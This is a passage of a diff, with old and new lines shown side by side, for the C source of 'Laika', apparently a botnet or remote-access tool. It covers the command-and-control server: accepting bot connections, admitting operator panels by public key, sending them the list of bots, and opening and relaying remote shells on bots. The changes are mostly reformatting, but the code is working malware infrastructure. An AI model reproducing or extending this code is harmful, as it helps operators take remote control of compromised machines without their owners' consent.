cnc_PeerElemCompare, NULL, NULL);
cnc->authPeers = NULL; cnc->authPeers = NULL;
cnc->authKeys = NULL; cnc->authKeys = NULL;
cnc->authKeysCount = 0; cnc->authKeysCount = 0;
@ -158,8 +167,8 @@ struct sLaika_cnc *laikaC_newCNC(uint16_t port) {
cnc->authPeersCount = 0; cnc->authPeersCount = 0;
cnc->port = port; cnc->port = port;
/* init socket & pollList */ /* init socket (we just need it for the raw socket fd and abstracted API :P) & pollList */
laikaS_initSocket(&cnc->sock, NULL, NULL, NULL, NULL); /* we just need it for the raw socket fd and abstracted API :) */ laikaS_initSocket(&cnc->sock, NULL, NULL, NULL, NULL);
laikaP_initPList(&cnc->pList); laikaP_initPList(&cnc->pList);
if (sodium_init() < 0) { if (sodium_init() < 0) {
@ -178,7 +187,8 @@ struct sLaika_cnc *laikaC_newCNC(uint16_t port) {
return cnc; return cnc;
} }
void laikaC_bindServer(struct sLaika_cnc *cnc) { void laikaC_bindServer(struct sLaika_cnc *cnc)
{
/* bind sock to port */ /* bind sock to port */
laikaS_bind(&cnc->sock, cnc->port); laikaS_bind(&cnc->sock, cnc->port);
@ -186,7 +196,8 @@ void laikaC_bindServer(struct sLaika_cnc *cnc) {
laikaP_addSock(&cnc->pList, &cnc->sock); laikaP_addSock(&cnc->pList, &cnc->sock);
} }
void laikaC_freeCNC(struct sLaika_cnc *cnc) { void laikaC_freeCNC(struct sLaika_cnc *cnc)
{
int i; int i;
laikaS_cleanSocket(&cnc->sock); laikaS_cleanSocket(&cnc->sock);
@ -201,7 +212,8 @@ void laikaC_freeCNC(struct sLaika_cnc *cnc) {
laikaM_free(cnc); laikaM_free(cnc);
} }
void laikaC_onAddPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer) { void laikaC_onAddPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer)
{
int i; int i;
GETPINFOFROMPEER(peer)->completeHandshake = true; GETPINFOFROMPEER(peer)->completeHandshake = true;
@ -218,7 +230,8 @@ void laikaC_onAddPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer) {
hashmap_set(cnc->peers, &(tCNC_PeerHashElem){.pub = peer->peerPub, .peer = peer}); hashmap_set(cnc->peers, &(tCNC_PeerHashElem){.pub = peer->peerPub, .peer = peer});
} }
void laikaC_onRmvPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer) { void laikaC_onRmvPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer)
{
int i; int i;
/* ignore uninitalized peers */ /* ignore uninitalized peers */
@ -228,16 +241,17 @@ void laikaC_onRmvPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer) {
/* close any open shells */ /* close any open shells */
laikaC_closeShells(peer); laikaC_closeShells(peer);
switch (peer->type) { switch (peer->type) {
case PEER_BOT: { case PEER_BOT: {
/* TODO */ /* TODO */
break; break;
} }
case PEER_AUTH: { case PEER_AUTH: {
/* remove peer from panels list */ /* remove peer from panels list */
laikaC_rmvAuth(cnc, peer); laikaC_rmvAuth(cnc, peer);
break; break;
} }
default: break; default:
break;
} }
/* notify connected panels of the disconnected peer */ /* notify connected panels of the disconnected peer */
@ -249,7 +263,8 @@ void laikaC_onRmvPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer) {
hashmap_delete(cnc->peers, &(tCNC_PeerHashElem){.pub = peer->peerPub, .peer = peer}); hashmap_delete(cnc->peers, &(tCNC_PeerHashElem){.pub = peer->peerPub, .peer = peer});
} }
void laikaC_setPeerType(struct sLaika_cnc *cnc, struct sLaika_peer *peer, PEERTYPE type) { void laikaC_setPeerType(struct sLaika_cnc *cnc, struct sLaika_peer *peer, PEERTYPE type)
{
/* make sure to update connected peers */ /* make sure to update connected peers */
laikaC_onRmvPeer(cnc, peer); laikaC_onRmvPeer(cnc, peer);
@ -259,26 +274,28 @@ void laikaC_setPeerType(struct sLaika_cnc *cnc, struct sLaika_peer *peer, PEERTY
/* update accepted packets */ /* update accepted packets */
peer->type = type; peer->type = type;
switch (type) { switch (type) {
case PEER_AUTH: case PEER_AUTH:
peer->packetTbl = laikaC_authPktTbl; peer->packetTbl = laikaC_authPktTbl;
peer->uData = laikaC_newAuthInfo(cnc); peer->uData = laikaC_newAuthInfo(cnc);
break; break;
case PEER_BOT: case PEER_BOT:
peer->packetTbl = laikaC_botPktTbl; peer->packetTbl = laikaC_botPktTbl;
peer->uData = laikaC_newBotInfo(cnc); peer->uData = laikaC_newBotInfo(cnc);
break; break;
default: default:
LAIKA_ERROR("laikaC_setPeerType: invalid peerType!\n"); LAIKA_ERROR("laikaC_setPeerType: invalid peerType!\n");
break; break;
} }
/* a new (but not-so-new) peer has arrived */ /* a new (but not-so-new) peer has arrived */
laikaC_onAddPeer(cnc, peer); laikaC_onAddPeer(cnc, peer);
} }
void laikaC_addAuth(struct sLaika_cnc *cnc, struct sLaika_peer *authPeer) { void laikaC_addAuth(struct sLaika_cnc *cnc, struct sLaika_peer *authPeer)
{
/* grow array if we need to */ /* grow array if we need to */
laikaM_growarray(struct sLaika_peer*, cnc->authPeers, 1, cnc->authPeersCount, cnc->authPeersCap); laikaM_growarray(struct sLaika_peer *, cnc->authPeers, 1, cnc->authPeersCount,
cnc->authPeersCap);
/* insert into authenticated peer table */ /* insert into authenticated peer table */
cnc->authPeers[cnc->authPeersCount++] = authPeer; cnc->authPeers[cnc->authPeersCount++] = authPeer;
@ -286,7 +303,8 @@ void laikaC_addAuth(struct sLaika_cnc *cnc, struct sLaika_peer *authPeer) {
LAIKA_DEBUG("added panel %p!\n", authPeer); LAIKA_DEBUG("added panel %p!\n", authPeer);
} }
void laikaC_rmvAuth(struct sLaika_cnc *cnc, struct sLaika_peer *authPeer) { void laikaC_rmvAuth(struct sLaika_cnc *cnc, struct sLaika_peer *authPeer)
{
int i; int i;
for (i = 0; i < cnc->authPeersCount; i++) { for (i = 0; i < cnc->authPeersCount; i++) {
@ -297,9 +315,10 @@ void laikaC_rmvAuth(struct sLaika_cnc *cnc, struct sLaika_peer *authPeer) {
} }
} }
void laikaC_addAuthKey(struct sLaika_cnc *cnc, const char *key) { void laikaC_addAuthKey(struct sLaika_cnc *cnc, const char *key)
{
uint8_t *buf; uint8_t *buf;
laikaM_growarray(uint8_t*, cnc->authKeys, 1, cnc->authKeysCount, cnc->authKeysCap); laikaM_growarray(uint8_t *, cnc->authKeys, 1, cnc->authKeysCount, cnc->authKeysCap);
buf = laikaM_malloc(crypto_kx_PUBLICKEYBYTES); buf = laikaM_malloc(crypto_kx_PUBLICKEYBYTES);
if (!laikaK_loadKeys(buf, NULL, key, NULL)) if (!laikaK_loadKeys(buf, NULL, key, NULL))
@ -310,27 +329,30 @@ void laikaC_addAuthKey(struct sLaika_cnc *cnc, const char *key) {
printf("[~] Added authenticated public key '%s'\n", key); printf("[~] Added authenticated public key '%s'\n", key);
} }
void laikaC_killPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer) { void laikaC_killPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer)
{
laikaC_onRmvPeer(cnc, peer); laikaC_onRmvPeer(cnc, peer);
/* free peerInfo if it's defined */ /* free peerInfo if it's defined */
if (peer->uData) if (peer->uData)
laikaC_freePeerInfo(peer, peer->uData); laikaC_freePeerInfo(peer, peer->uData);
laikaP_rmvSock(&cnc->pList, (struct sLaika_socket*)peer); laikaP_rmvSock(&cnc->pList, (struct sLaika_socket *)peer);
laikaS_freePeer(peer); laikaS_freePeer(peer);
LAIKA_DEBUG("peer %p killed!\n", peer); LAIKA_DEBUG("peer %p killed!\n", peer);
} }
/* socket event */ /* socket event */
void laikaC_onPollFail(struct sLaika_socket *sock, void *uData) { void laikaC_onPollFail(struct sLaika_socket *sock, void *uData)
struct sLaika_peer *peer = (struct sLaika_peer*)sock; {
struct sLaika_cnc *cnc = (struct sLaika_cnc*)uData; struct sLaika_peer *peer = (struct sLaika_peer *)sock;
struct sLaika_cnc *cnc = (struct sLaika_cnc *)uData;
laikaC_killPeer(cnc, peer); laikaC_killPeer(cnc, peer);
} }
bool laikaC_pollPeers(struct sLaika_cnc *cnc, int timeout) { bool laikaC_pollPeers(struct sLaika_cnc *cnc, int timeout)
{
struct sLaika_peer *peer; struct sLaika_peer *peer;
struct sLaika_pollEvent *evnts, *evnt; struct sLaika_pollEvent *evnts, *evnt;
int numEvents, i; int numEvents, i;
@ -347,13 +369,8 @@ bool laikaC_pollPeers(struct sLaika_cnc *cnc, int timeout) {
for (i = 0; i < numEvents; i++) { for (i = 0; i < numEvents; i++) {
evnt = &evnts[i]; evnt = &evnts[i];
if (evnt->sock == &cnc->sock) { /* event on listener? */ if (evnt->sock == &cnc->sock) { /* event on listener? */
peer = laikaS_newPeer( peer = laikaS_newPeer(laikaC_botPktTbl, &cnc->pList, laikaC_onPollFail, cnc,
laikaC_botPktTbl, (void *)laikaC_newBotInfo(cnc));
&cnc->pList,
laikaC_onPollFail,
cnc,
(void*)laikaC_newBotInfo(cnc)
);
LAIKA_TRY LAIKA_TRY
/* setup and accept new peer */ /* setup and accept new peer */
@ -379,15 +396,18 @@ bool laikaC_pollPeers(struct sLaika_cnc *cnc, int timeout) {
return true; return true;
} }
struct sLaika_peer *laikaC_getPeerByPub(struct sLaika_cnc *cnc, uint8_t *pub) { struct sLaika_peer *laikaC_getPeerByPub(struct sLaika_cnc *cnc, uint8_t *pub)
tCNC_PeerHashElem *elem = (tCNC_PeerHashElem*)hashmap_get(cnc->peers, &(tCNC_PeerHashElem){.pub = pub}); {
tCNC_PeerHashElem *elem =
(tCNC_PeerHashElem *)hashmap_get(cnc->peers, &(tCNC_PeerHashElem){.pub = pub});
return elem ? elem->peer : NULL; return elem ? elem->peer : NULL;
} }
bool sweepPeers(struct sLaika_peer *peer, void *uData) { bool sweepPeers(struct sLaika_peer *peer, void *uData)
{
struct sLaika_peerInfo *pInfo = GETPINFOFROMPEER(peer); struct sLaika_peerInfo *pInfo = GETPINFOFROMPEER(peer);
struct sLaika_cnc *cnc = (struct sLaika_cnc*)uData; struct sLaika_cnc *cnc = (struct sLaika_cnc *)uData;
long currTime = laikaT_getTime(); long currTime = laikaT_getTime();
/* peer has been silent for a while, kill 'em */ /* peer has been silent for a while, kill 'em */
@ -399,33 +419,38 @@ bool sweepPeers(struct sLaika_peer *peer, void *uData) {
return true; return true;
} }
void laikaC_sweepPeersTask(struct sLaika_taskService *service, struct sLaika_task *task, clock_t currTick, void *uData) { void laikaC_sweepPeersTask(struct sLaika_taskService *service, struct sLaika_task *task,
struct sLaika_cnc *cnc = (struct sLaika_cnc*)uData; clock_t currTick, void *uData)
{
struct sLaika_cnc *cnc = (struct sLaika_cnc *)uData;
laikaC_iterPeers(cnc, sweepPeers, (void*)cnc); laikaC_iterPeers(cnc, sweepPeers, (void *)cnc);
} }
/* =======================================[[ Peer Iter ]]======================================= */ /* =======================================[[ Peer Iter ]]======================================= */
struct sWrapperData { struct sWrapperData
{
tLaika_peerIter iter; tLaika_peerIter iter;
void *uData; void *uData;
}; };
/* wrapper iterator */ /* wrapper iterator */
bool iterWrapper(const void *rawItem, void *uData) { bool iterWrapper(const void *rawItem, void *uData)
struct sWrapperData *data = (struct sWrapperData*)uData; {
tCNC_PeerHashElem *item = (tCNC_PeerHashElem*)rawItem; struct sWrapperData *data = (struct sWrapperData *)uData;
tCNC_PeerHashElem *item = (tCNC_PeerHashElem *)rawItem;
return data->iter(item->peer, data->uData); return data->iter(item->peer, data->uData);
} }
void laikaC_iterPeers(struct sLaika_cnc *cnc, tLaika_peerIter iter, void *uData) { void laikaC_iterPeers(struct sLaika_cnc *cnc, tLaika_peerIter iter, void *uData)
{
struct sWrapperData wrapper; struct sWrapperData wrapper;
wrapper.iter = iter; wrapper.iter = iter;
wrapper.uData = uData; wrapper.uData = uData;
/* iterate over hashmap calling our iterWrapper, pass the *real* iterator to /* iterate over hashmap calling our iterWrapper, pass the *real* iterator to
itemWrapper so that it can call it. probably a better way to do this itemWrapper so that it can call it. probably a better way to do this
but w/e lol */ but w/e lol */
hashmap_scan(cnc->peers, iterWrapper, &wrapper); hashmap_scan(cnc->peers, iterWrapper, &wrapper);
} }

View File

@ -1,12 +1,13 @@
#include "lerror.h" #include "cpanel.h"
#include "lmem.h"
#include "cnc.h" #include "cnc.h"
#include "cpeer.h" #include "cpeer.h"
#include "cpanel.h" #include "lerror.h"
#include "lmem.h"
bool sendPanelPeerIter(struct sLaika_peer *peer, void *uData) { bool sendPanelPeerIter(struct sLaika_peer *peer, void *uData)
struct sLaika_peer *authPeer = (struct sLaika_peer*)uData; {
struct sLaika_peer *authPeer = (struct sLaika_peer *)uData;
/* make sure we're not sending connection information to themselves */ /* make sure we're not sending connection information to themselves */
if (peer != authPeer) { if (peer != authPeer) {
@ -17,7 +18,8 @@ bool sendPanelPeerIter(struct sLaika_peer *peer, void *uData) {
return true; return true;
} }
void laikaC_sendNewPeer(struct sLaika_peer *authPeer, struct sLaika_peer *peer) { void laikaC_sendNewPeer(struct sLaika_peer *authPeer, struct sLaika_peer *peer)
{
laikaS_startOutPacket(authPeer, LAIKAPKT_AUTHENTICATED_ADD_PEER_RES); laikaS_startOutPacket(authPeer, LAIKAPKT_AUTHENTICATED_ADD_PEER_RES);
/* write the peer's info */ /* write the peer's info */
@ -31,7 +33,8 @@ void laikaC_sendNewPeer(struct sLaika_peer *authPeer, struct sLaika_peer *peer)
laikaS_endOutPacket(authPeer); laikaS_endOutPacket(authPeer);
} }
void laikaC_sendRmvPeer(struct sLaika_peer *authPeer, struct sLaika_peer *peer) { void laikaC_sendRmvPeer(struct sLaika_peer *authPeer, struct sLaika_peer *peer)
{
laikaS_startOutPacket(authPeer, LAIKAPKT_AUTHENTICATED_RMV_PEER_RES); laikaS_startOutPacket(authPeer, LAIKAPKT_AUTHENTICATED_RMV_PEER_RES);
/* write the peer's pubkey */ /* write the peer's pubkey */
@ -43,34 +46,38 @@ void laikaC_sendRmvPeer(struct sLaika_peer *authPeer, struct sLaika_peer *peer)
/* ================================[[ [Auth] Packet Handlers ]]================================= */ /* ================================[[ [Auth] Packet Handlers ]]================================= */
void laikaC_handleAuthenticatedHandshake(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, void *uData) { void laikaC_handleAuthenticatedHandshake(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz,
struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo*)uData; void *uData)
{
struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo *)uData;
struct sLaika_cnc *cnc = pInfo->cnc; struct sLaika_cnc *cnc = pInfo->cnc;
PEERTYPE type; PEERTYPE type;
int i; int i;
type = laikaS_readByte(&authPeer->sock); type = laikaS_readByte(&authPeer->sock);
switch (type) { switch (type) {
case PEER_AUTH: case PEER_AUTH:
/* check that peer's pubkey is authenticated */ /* check that peer's pubkey is authenticated */
if (!laikaK_checkAuth(authPeer->peerPub, cnc->authKeys, cnc->authKeysCount)) if (!laikaK_checkAuth(authPeer->peerPub, cnc->authKeys, cnc->authKeysCount))
LAIKA_ERROR("unauthorized panel!\n"); LAIKA_ERROR("unauthorized panel!\n");
/* notify cnc */ /* notify cnc */
laikaC_setPeerType(cnc, authPeer, PEER_AUTH); laikaC_setPeerType(cnc, authPeer, PEER_AUTH);
LAIKA_DEBUG("Accepted authenticated panel %p\n", authPeer); LAIKA_DEBUG("Accepted authenticated panel %p\n", authPeer);
/* they passed! send list of our peers */ /* they passed! send list of our peers */
laikaC_iterPeers(cnc, sendPanelPeerIter, (void*)authPeer); laikaC_iterPeers(cnc, sendPanelPeerIter, (void *)authPeer);
break; break;
default: default:
LAIKA_ERROR("unknown peerType [%d]!\n", authPeer->type); LAIKA_ERROR("unknown peerType [%d]!\n", authPeer->type);
} }
} }
void laikaC_handleAuthenticatedShellOpen(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, void *uData) { void laikaC_handleAuthenticatedShellOpen(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz,
void *uData)
{
uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; uint8_t pubKey[crypto_kx_PUBLICKEYBYTES];
struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo*)uData; struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo *)uData;
struct sLaika_cnc *cnc = pInfo->cnc; struct sLaika_cnc *cnc = pInfo->cnc;
struct sLaika_peer *peer; struct sLaika_peer *peer;
uint16_t cols, rows; uint16_t cols, rows;
@ -91,8 +98,10 @@ void laikaC_handleAuthenticatedShellOpen(struct sLaika_peer *authPeer, LAIKAPKT_
laikaC_openShell(peer, authPeer, cols, rows); laikaC_openShell(peer, authPeer, cols, rows);
} }
void laikaC_handleAuthenticatedShellClose(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, void *uData) { void laikaC_handleAuthenticatedShellClose(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz,
struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo*)uData; void *uData)
{
struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo *)uData;
struct sLaika_cnc *cnc = pInfo->cnc; struct sLaika_cnc *cnc = pInfo->cnc;
struct sLaika_shellInfo *shell; struct sLaika_shellInfo *shell;
uint32_t id; uint32_t id;
@ -106,15 +115,17 @@ void laikaC_handleAuthenticatedShellClose(struct sLaika_peer *authPeer, LAIKAPKT
laikaC_closeShell(shell); laikaC_closeShell(shell);
} }
void laikaC_handleAuthenticatedShellData(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, void *uData) { void laikaC_handleAuthenticatedShellData(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz,
void *uData)
{
uint8_t data[LAIKA_SHELL_DATA_MAX_LENGTH]; uint8_t data[LAIKA_SHELL_DATA_MAX_LENGTH];
struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo*)uData; struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo *)uData;
struct sLaika_cnc *cnc = pInfo->cnc; struct sLaika_cnc *cnc = pInfo->cnc;
struct sLaika_peer *peer; struct sLaika_peer *peer;
struct sLaika_shellInfo *shell; struct sLaika_shellInfo *shell;
uint32_t id; uint32_t id;
if (sz-sizeof(uint32_t) > LAIKA_SHELL_DATA_MAX_LENGTH || sz <= sizeof(uint32_t)) if (sz - sizeof(uint32_t) > LAIKA_SHELL_DATA_MAX_LENGTH || sz <= sizeof(uint32_t))
LAIKA_ERROR("laikaC_handleAuthenticatedShellData: Wrong data size!\n"); LAIKA_ERROR("laikaC_handleAuthenticatedShellData: Wrong data size!\n");
laikaS_readInt(&authPeer->sock, &id, sizeof(uint32_t)); laikaS_readInt(&authPeer->sock, &id, sizeof(uint32_t));

View File

@ -1,13 +1,14 @@
#include "lmem.h" #include "cpeer.h"
#include "cnc.h" #include "cnc.h"
#include "cpeer.h"
#include "lerror.h" #include "lerror.h"
#include "lmem.h"
/* =======================================[[ Peer Info ]]======================================= */ /* =======================================[[ Peer Info ]]======================================= */
struct sLaika_peerInfo *allocBasePeerInfo(struct sLaika_cnc *cnc, size_t sz) { struct sLaika_peerInfo *allocBasePeerInfo(struct sLaika_cnc *cnc, size_t sz)
struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo*)laikaM_malloc(sz); {
struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo *)laikaM_malloc(sz);
int i; int i;
for (i = 0; i < LAIKA_MAX_SHELLS; i++) { for (i = 0; i < LAIKA_MAX_SHELLS; i++) {
@ -20,29 +21,34 @@ struct sLaika_peerInfo *allocBasePeerInfo(struct sLaika_cnc *cnc, size_t sz) {
return pInfo; return pInfo;
} }
struct sLaika_botInfo *laikaC_newBotInfo(struct sLaika_cnc *cnc) { struct sLaika_botInfo *laikaC_newBotInfo(struct sLaika_cnc *cnc)
struct sLaika_botInfo *bInfo = (struct sLaika_botInfo*)allocBasePeerInfo(cnc, sizeof(struct sLaika_botInfo)); {
struct sLaika_botInfo *bInfo =
(struct sLaika_botInfo *)allocBasePeerInfo(cnc, sizeof(struct sLaika_botInfo));
/* TODO */ /* TODO */
return bInfo; return bInfo;
} }
struct sLaika_authInfo *laikaC_newAuthInfo(struct sLaika_cnc *cnc) { struct sLaika_authInfo *laikaC_newAuthInfo(struct sLaika_cnc *cnc)
struct sLaika_authInfo *aInfo = (struct sLaika_authInfo*)allocBasePeerInfo(cnc, sizeof(struct sLaika_authInfo)); {
struct sLaika_authInfo *aInfo =
(struct sLaika_authInfo *)allocBasePeerInfo(cnc, sizeof(struct sLaika_authInfo));
/* TODO */ /* TODO */
return aInfo; return aInfo;
} }
void laikaC_freePeerInfo(struct sLaika_peer *peer, struct sLaika_peerInfo *pInfo) { void laikaC_freePeerInfo(struct sLaika_peer *peer, struct sLaika_peerInfo *pInfo)
{
peer->uData = NULL; peer->uData = NULL;
laikaM_free(pInfo); laikaM_free(pInfo);
} }
/* ======================================[[ Shell Info ]]======================================= */ /* ======================================[[ Shell Info ]]======================================= */
int findOpenShellID(struct sLaika_peerInfo *pInfo) { int findOpenShellID(struct sLaika_peerInfo *pInfo)
{
int id; int id;
for (id = 0; id < LAIKA_MAX_SHELLS; id++) { for (id = 0; id < LAIKA_MAX_SHELLS; id++) {
@ -53,8 +59,11 @@ int findOpenShellID(struct sLaika_peerInfo *pInfo) {
return -1; return -1;
} }
struct sLaika_shellInfo* laikaC_openShell(struct sLaika_peer *bot, struct sLaika_peer *auth, uint16_t cols, uint16_t rows) { struct sLaika_shellInfo *laikaC_openShell(struct sLaika_peer *bot, struct sLaika_peer *auth,
struct sLaika_shellInfo *shell = (struct sLaika_shellInfo*)laikaM_malloc(sizeof(struct sLaika_shellInfo)); uint16_t cols, uint16_t rows)
{
struct sLaika_shellInfo *shell =
(struct sLaika_shellInfo *)laikaM_malloc(sizeof(struct sLaika_shellInfo));
shell->bot = bot; shell->bot = bot;
shell->auth = auth; shell->auth = auth;
@ -88,7 +97,8 @@ struct sLaika_shellInfo* laikaC_openShell(struct sLaika_peer *bot, struct sLaika
return shell; return shell;
} }
void laikaC_closeShell(struct sLaika_shellInfo *shell) { void laikaC_closeShell(struct sLaika_shellInfo *shell)
{
/* send SHELL_CLOSE packets */ /* send SHELL_CLOSE packets */
laikaS_startOutPacket(shell->bot, LAIKAPKT_SHELL_CLOSE); laikaS_startOutPacket(shell->bot, LAIKAPKT_SHELL_CLOSE);
laikaS_writeInt(&shell->bot->sock, &shell->botShellID, sizeof(uint32_t)); laikaS_writeInt(&shell->bot->sock, &shell->botShellID, sizeof(uint32_t));
@ -106,7 +116,8 @@ void laikaC_closeShell(struct sLaika_shellInfo *shell) {
laikaM_free(shell); laikaM_free(shell);
} }
void laikaC_closeShells(struct sLaika_peer *peer) { void laikaC_closeShells(struct sLaika_peer *peer)
{
struct sLaika_peerInfo *pInfo = GETPINFOFROMPEER(peer); struct sLaika_peerInfo *pInfo = GETPINFOFROMPEER(peer);
int i; int i;
@ -118,8 +129,9 @@ void laikaC_closeShells(struct sLaika_peer *peer) {
/* ================================[[ [Peer] Packet Handlers ]]================================= */ /* ================================[[ [Peer] Packet Handlers ]]================================= */
void laikaC_handleShellClose(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) { void laikaC_handleShellClose(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData)
struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo*)uData; {
struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo *)uData;
struct sLaika_shellInfo *shell; struct sLaika_shellInfo *shell;
uint32_t id; uint32_t id;
@ -133,14 +145,15 @@ void laikaC_handleShellClose(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *u
laikaC_closeShell(shell); laikaC_closeShell(shell);
} }
void laikaC_handleShellData(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) { void laikaC_handleShellData(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData)
{
char buf[LAIKA_SHELL_DATA_MAX_LENGTH]; char buf[LAIKA_SHELL_DATA_MAX_LENGTH];
struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo*)uData; struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo *)uData;
struct sLaika_shellInfo *shell; struct sLaika_shellInfo *shell;
uint32_t id; uint32_t id;
/* ignore packet if malformed */ /* ignore packet if malformed */
if (sz > LAIKA_SHELL_DATA_MAX_LENGTH+sizeof(uint32_t) || sz <= sizeof(uint32_t)) if (sz > LAIKA_SHELL_DATA_MAX_LENGTH + sizeof(uint32_t) || sz <= sizeof(uint32_t))
return; return;
laikaS_readInt(&peer->sock, &id, sizeof(uint32_t)); laikaS_readInt(&peer->sock, &id, sizeof(uint32_t));
@ -149,11 +162,11 @@ void laikaC_handleShellData(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uD
if (id >= LAIKA_MAX_SHELLS || (shell = pInfo->shells[id]) == NULL) if (id >= LAIKA_MAX_SHELLS || (shell = pInfo->shells[id]) == NULL)
return; return;
laikaS_read(&peer->sock, (void*)buf, sz-sizeof(uint32_t)); laikaS_read(&peer->sock, (void *)buf, sz - sizeof(uint32_t));
/* forward SHELL_DATA packet to auth */ /* forward SHELL_DATA packet to auth */
laikaS_startVarPacket(shell->auth, LAIKAPKT_SHELL_DATA); laikaS_startVarPacket(shell->auth, LAIKAPKT_SHELL_DATA);
laikaS_writeInt(&shell->auth->sock, &shell->authShellID, sizeof(uint32_t)); laikaS_writeInt(&shell->auth->sock, &shell->authShellID, sizeof(uint32_t));
laikaS_write(&shell->auth->sock, buf, sz-sizeof(uint32_t)); laikaS_write(&shell->auth->sock, buf, sz - sizeof(uint32_t));
laikaS_endVarPacket(shell->auth); laikaS_endVarPacket(shell->auth);
} }

View File

@ -1,39 +1,48 @@
#include <stdio.h>
#include "ltask.h"
#include "lconfig.h"
#include "cnc.h" #include "cnc.h"
#include "ini.h" #include "ini.h"
#include "lconfig.h"
#include "ltask.h"
#define STRING(x) #x #include <stdio.h>
#define STRING(x) #x
#define MACROLITSTR(x) STRING(x) #define MACROLITSTR(x) STRING(x)
struct sLaika_taskService tService; struct sLaika_taskService tService;
static int iniHandler(void* user, const char* section, const char* name, const char* value) { #define MATCH(s, n) strcmp(section, s) == 0 && strcmp(name, n) == 0
struct sLaika_cnc* cnc = (struct sLaika_cnc*)user;
static int iniHandler(void *user, const char *section, const char *name, const char *value)
{
struct sLaika_cnc *cnc = (struct sLaika_cnc *)user;
#define MATCH(s, n) strcmp(section, s) == 0 && strcmp(name, n) == 0
if (MATCH("auth", "public-key-entry")) { if (MATCH("auth", "public-key-entry")) {
laikaC_addAuthKey(cnc, value); laikaC_addAuthKey(cnc, value);
} else if (MATCH("server", "port")) { } else if (MATCH("server", "port")) {
cnc->port = atoi(value); cnc->port = atoi(value);
} else { } else {
return 0; /* unknown section/name, error */ return 0; /* unknown section/name, error */
} }
return 1; return 1;
} }
bool loadConfig(struct sLaika_cnc *cnc, char *config) { #undef MATCH
bool loadConfig(struct sLaika_cnc *cnc, char *config)
{
int iniRes; int iniRes;
printf("Loading config file '%s'...\n", config); printf("Loading config file '%s'...\n", config);
if ((iniRes = ini_parse(config, iniHandler, (void*)cnc)) < 0) { if ((iniRes = ini_parse(config, iniHandler, (void *)cnc)) < 0) {
switch (iniRes) { switch (iniRes) {
case -1: printf("Couldn't load config file '%s'!\n", config); break; case -1:
case -2: printf("Memory allocation error :/\n"); break; printf("Couldn't load config file '%s'!\n", config);
default: break;
printf("Parser error on line %d in config file '%s'!\n", iniRes, config); case -2:
printf("Memory allocation error :/\n");
break;
default:
printf("Parser error on line %d in config file '%s'!\n", iniRes, config);
} }
return false; return false;
} }
@ -41,11 +50,14 @@ bool loadConfig(struct sLaika_cnc *cnc, char *config) {
return true; return true;
} }
int main(int argv, char *argc[]) { int main(int argv, char *argc[])
{
struct sLaika_cnc *cnc; struct sLaika_cnc *cnc;
char *configFile = "server.ini"; char *configFile = "server.ini";
printf("Laika v" MACROLITSTR(LAIKA_VERSION_MAJOR) "." MACROLITSTR(LAIKA_VERSION_MINOR) "-" LAIKA_VERSION_COMMIT "\n"); printf("Laika v" MACROLITSTR(LAIKA_VERSION_MAJOR) "."
MACROLITSTR(LAIKA_VERSION_MINOR) "-" LAIKA_VERSION_COMMIT "\n");
cnc = laikaC_newCNC(atoi(LAIKA_CNC_PORT)); cnc = laikaC_newCNC(atoi(LAIKA_CNC_PORT));
/* load config file */ /* load config file */
@ -56,7 +68,7 @@ int main(int argv, char *argc[]) {
return 1; return 1;
laikaT_initTaskService(&tService); laikaT_initTaskService(&tService);
laikaT_newTask(&tService, 1000, laikaC_sweepPeersTask, (void*)cnc); laikaT_newTask(&tService, 1000, laikaC_sweepPeersTask, (void *)cnc);
/* start cnc */ /* start cnc */
laikaC_bindServer(cnc); laikaC_bindServer(cnc);

View File

@ -1,32 +1,36 @@
#ifndef LAIKA_LAIKA_H #ifndef LAIKA_LAIKA_H
#define LAIKA_LAIKA_H #define LAIKA_LAIKA_H
#include <stdlib.h>
#include <stddef.h>
#include <stdint.h>
#include <stdbool.h>
#include <stdio.h>
#include <string.h>
#include "lconfig.h" #include "lconfig.h"
#include <stdbool.h>
#include <stddef.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#ifdef DEBUG #ifdef DEBUG
# define LAIKA_DEBUG(...) printf("[~] " __VA_ARGS__); fflush(stdout); # define LAIKA_DEBUG(...) \
printf("[~] " __VA_ARGS__); \
fflush(stdout);
#else #else
# define LAIKA_DEBUG(...) ((void)0) /* no op */ # define LAIKA_DEBUG(...) ((void)0) /* no op */
#endif #endif
#ifndef _MSC_VER #ifndef _MSC_VER
